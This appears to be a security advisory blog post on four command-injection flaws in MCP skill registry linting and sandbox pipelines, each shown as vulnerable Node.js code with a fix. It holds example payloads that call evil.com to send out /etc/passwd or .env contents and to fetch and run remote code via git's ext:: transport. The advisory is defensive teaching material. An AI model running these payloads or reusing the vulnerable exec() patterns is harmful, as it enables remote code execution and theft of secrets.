← Blog

Claude MCP skill command injection in static analysis and linting pipeline — SA-SKL-INJECTION12

Skill registries that run static analysis on uploaded packages necessarily invoke external tools: linters, formatters, Docker containers for sandboxed execution, and git for repository cloning. Each invocation that passes user-controlled data through a shell string — a package path, a filename, an image name, a repository URL — is a potential command injection. SA-SKL-INJECTION12 covers four patterns found in MCP skill registry static analysis pipelines where shell metacharacters in attacker-controlled inputs execute arbitrary commands on the analysis worker.

By SkillAudit  |  12 Nov 2026
SA-SKL-INJECTION12 findings at a glance
CRITICALINJECTION12-001 — child_process.exec() with skill package path in shell string — attacker package path contains ; curl evil.com/$(cat /etc/passwd); RCE on analysis worker
CRITICALINJECTION12-002 — ESLint CLI --stdin-filename with user-controlled filename invoked via exec() — shell metacharacters in filename trigger command execution
HIGHINJECTION12-003 — docker run with user-supplied image name from skill manifest — attacker manifest points to malicious image; arbitrary container code executed under registry worker permissions
HIGHINJECTION12-004 — git clone with user-supplied repository URL — attacker uses git:// protocol or injects --upload-pack flag; arbitrary shell command during clone

INJECTION12-001 — child_process.exec() with interpolated skill package path

child_process.exec() invokes a shell and passes the command string to it. Any shell metacharacters in the command string are interpreted by the shell — semicolons, pipes, backticks, $() substitutions, and so on. When a skill package path is interpolated directly into the command string, an attacker who controls the package path controls the shell. The fix is to use child_process.execFile() (or child_process.spawn()) with an explicit args array: these functions pass arguments directly to the program's argv without invoking a shell.

// VULNERABLE — INJECTION12-001
// Package path is interpolated into a shell command string.
// Attacker submits a skill with packagePath set to a directory named with metacharacters.

const { exec } = require('child_process');

function runEslintOnPackage(packagePath) {
  // VULNERABLE: packagePath interpolated into shell command string
  // If packagePath = "/tmp/skills/skill; curl evil.com/$(cat /etc/passwd | base64)"
  // the shell runs both: eslint and the curl exfiltration
  return new Promise((resolve, reject) => {
    exec(`eslint ${packagePath} --format json`, (err, stdout) => {
      if (err) return reject(err);
      resolve(JSON.parse(stdout));
    });
  });
}
// FIXED — INJECTION12-001
// Use execFile() with args array — no shell invocation, no metacharacter interpretation.

const { execFile } = require('child_process');
const path = require('path');

function runEslintOnPackage(packagePath) {
  // FIX 1: validate packagePath is within the expected base directory
  const resolvedPath = path.resolve(packagePath);
  const expectedBase = path.resolve('/tmp/skills');
  if (!resolvedPath.startsWith(expectedBase + path.sep)) {
    return Promise.reject(new Error('packagePath outside allowed directory'));
  }

  // FIX 2: execFile() does not invoke a shell — args are passed directly to eslint's argv
  return new Promise((resolve, reject) => {
    execFile('eslint', [resolvedPath, '--format', 'json'], (err, stdout) => {
      if (err && !stdout) return reject(err);
      try { resolve(JSON.parse(stdout)); }
      catch { resolve([]); }
    });
  });
}

INJECTION12-002 — ESLint CLI --stdin-filename with user-controlled filename

ESLint's --stdin-filename flag tells ESLint what filename to associate with stdin input (for rule configuration purposes — different file extensions trigger different rule sets). When the registry invokes ESLint via the CLI using exec(), and the --stdin-filename value comes from user input, the filename is part of the shell string. An attacker submits a filename like skill.js; curl evil.com/$(cat /.env). The shell executes ESLint and then the curl command.

// VULNERABLE — INJECTION12-002
// ESLint CLI called via exec() with user-controlled filename in the command string

const { exec } = require('child_process');

function lintFileContent(content, filename) {
  // VULNERABLE: filename from user input interpolated into shell command
  return new Promise((resolve, reject) => {
    const child = exec(
      `echo "${content}" | eslint --stdin --stdin-filename ${filename} --format json`,
      (err, stdout) => {
        resolve(stdout ? JSON.parse(stdout) : []);
      }
    );
  });
}
// FIXED — INJECTION12-002
// Use ESLint Node.js API instead of CLI — no shell invocation at all.

const { ESLint } = require('eslint');

async function lintFileContent(content, filename) {
  // FIX: validate filename before use — only alphanumeric + extension
  if (!/^[a-zA-Z0-9_-]+\.(js|ts|mjs|cjs)$/.test(filename)) {
    throw new Error('Invalid filename');
  }

  // FIX: ESLint Node.js API — no shell, no metacharacter risk
  const eslint = new ESLint({
    useEslintrc: false,
    overrideConfig: {
      rules: { 'no-eval': 'error', 'no-implied-eval': 'error' },
    },
  });

  const results = await eslint.lintText(content, { filePath: filename });
  return results;
}

Prefer programmatic APIs over CLI invocations whenever available: Most tools used in static analysis pipelines — ESLint, Prettier, TypeScript compiler, Semgrep — expose Node.js or Python APIs that accept arguments as strings, not shell commands. These APIs are immune to shell injection by construction. The CLI is a convenience wrapper for human use; the programmatic API is the right interface for server-side automation.

INJECTION12-003 — docker run with user-controlled image name from skill manifest

Some registries run skill packages in sandboxed Docker containers for dynamic analysis. If the Docker image name is taken from the skill manifest (e.g. a dockerImage key) without validation, an attacker can point it to a malicious image on Docker Hub or their own registry. The malicious image's CMD or ENTRYPOINT executes when the container starts. Even in sandboxed environments, a container running as root with default Docker settings can escape to the host through known kernel vulnerabilities or misconfigured volume mounts.

// VULNERABLE — INJECTION12-003
// docker run with image name from skill manifest — attacker controls the image

const { execFile } = require('child_process');

async function runSkillInSandbox(skillId, manifest) {
  const imageName = manifest.dockerImage; // attacker controls this field
  // VULNERABLE: attacker points to evil.com/malicious-image:latest
  // The malicious image's ENTRYPOINT runs with registry worker credentials
  return new Promise((resolve, reject) => {
    execFile('docker', ['run', '--rm', imageName, '/analyze.sh'], (err, stdout) => {
      err ? reject(err) : resolve(stdout);
    });
  });
}
// FIXED — INJECTION12-003
// Allowlist of approved base images; validate image digest (not tag — tags are mutable).

const ALLOWED_IMAGES = new Set([
  'node:20-alpine',
  'python:3.11-slim',
  'ghcr.io/skillaudit/sandbox:latest',
]);

async function runSkillInSandbox(skillId, manifest) {
  const imageName = manifest.dockerImage;

  // FIX 1: allowlist check on image name
  if (!ALLOWED_IMAGES.has(imageName)) {
    throw new Error(`Docker image '${imageName}' is not in the approved list`);
  }

  // FIX 2: validate image name format — only registry/repo:tag, no semicolons or pipes
  if (!/^[a-z0-9/._:-]+$/.test(imageName)) {
    throw new Error('Invalid image name format');
  }

  // FIX 3: run with --no-new-privileges and --read-only for defence-in-depth
  return new Promise((resolve, reject) => {
    execFile('docker', [
      'run', '--rm',
      '--no-new-privileges',
      '--read-only',
      '--network', 'none',           // no network access in sandbox
      '--memory', '256m',
      '--cpus', '0.5',
      imageName, '/analyze.sh',
    ], (err, stdout) => {
      err ? reject(err) : resolve(stdout);
    });
  });
}

INJECTION12-004 — git clone with user-supplied repository URL

When a skill is submitted as a git repository URL, the registry clones it for static analysis. The git command accepts several protocol schemes: https://, http://, git://, ssh://, file://, and the insecure "ext::" protocol which executes shell commands during transport. If the registry passes the URL directly to git clone without validating the scheme, an attacker can use ext::sh -c 'curl evil.com | bash' as the "URL" to execute arbitrary commands during the clone operation.

// VULNERABLE — INJECTION12-004
// git clone with user-supplied URL — no protocol scheme validation
// Also: exec() invocation means shell metacharacters in URL are interpreted

const { exec } = require('child_process');

function cloneSkillRepo(repoUrl, destDir) {
  // VULNERABLE 1: exec() — shell metacharacters in URL are interpreted
  // VULNERABLE 2: no protocol scheme check — attacker uses ext::sh -c 'payload'
  return new Promise((resolve, reject) => {
    exec(`git clone ${repoUrl} ${destDir}`, (err) => {
      err ? reject(err) : resolve();
    });
  });
}
// FIXED — INJECTION12-004
// Validate URL scheme is https://; use execFile() with args array; set --no-local.

const { execFile } = require('child_process');

function cloneSkillRepo(repoUrl, destDir) {
  // FIX 1: validate URL scheme is https:// only
  let parsed;
  try { parsed = new URL(repoUrl); } catch { throw new Error('Invalid URL'); }
  if (parsed.protocol !== 'https:') throw new Error('Only https:// repositories are allowed');

  // FIX 2: validate hostname is a known code hosting service
  const ALLOWED_HOSTS = new Set(['github.com', 'gitlab.com', 'bitbucket.org']);
  if (!ALLOWED_HOSTS.has(parsed.hostname)) throw new Error('Repository host not allowed');

  // FIX 3: execFile() with args array — no shell, no protocol injection
  // FIX 4: --no-local prevents local filesystem traversal via file:// fallback
  // FIX 5: depth 1 — no full history fetch (reduces data exfil risk and time)
  return new Promise((resolve, reject) => {
    execFile('git', ['clone', '--no-local', '--depth', '1', repoUrl, destDir], {
      timeout: 30000,  // FIX 6: timeout prevents hanging on slow/malicious repos
    }, (err) => {
      err ? reject(err) : resolve();
    });
  });
}

The ext:: protocol is a lesser-known git injection vector: Git's ext:: transport protocol runs a shell command and uses its stdin/stdout as the transport stream. git clone 'ext::sh -c "curl evil.com | bash"' executes the curl command during the clone. Even if you sanitise for semicolons and pipes, the ext:: scheme itself bypasses the need for metacharacters. Scheme allowlisting (only https://) closes this vector entirely and is a simpler, more reliable defence than trying to escape or sanitise shell metacharacters.

Summary — SA-SKL-INJECTION12 at a glance

PatternRoot causeFixSeverity
INJECTION12-001exec() with package path in shell string — semicolon injectionexecFile() with args array; path boundary validationCRITICAL
INJECTION12-002ESLint CLI called via exec() with user-controlled filenameUse ESLint Node.js API (new ESLint().lintText()) instead of CLICRITICAL
INJECTION12-003docker run with user-controlled image name from manifestAllowlist of approved images; --no-new-privileges --read-only --network noneHIGH
INJECTION12-004git clone with user-supplied URL — ext:: protocol injectionValidate https:// scheme; allowlist hosts; execFile() with args array; --no-localHIGH

See also SA-SKL-INJECTION11 (prototype pollution) and SA-SKL-INJECTION10 (dynamic require and vm module) for related code-execution patterns in MCP skill registries.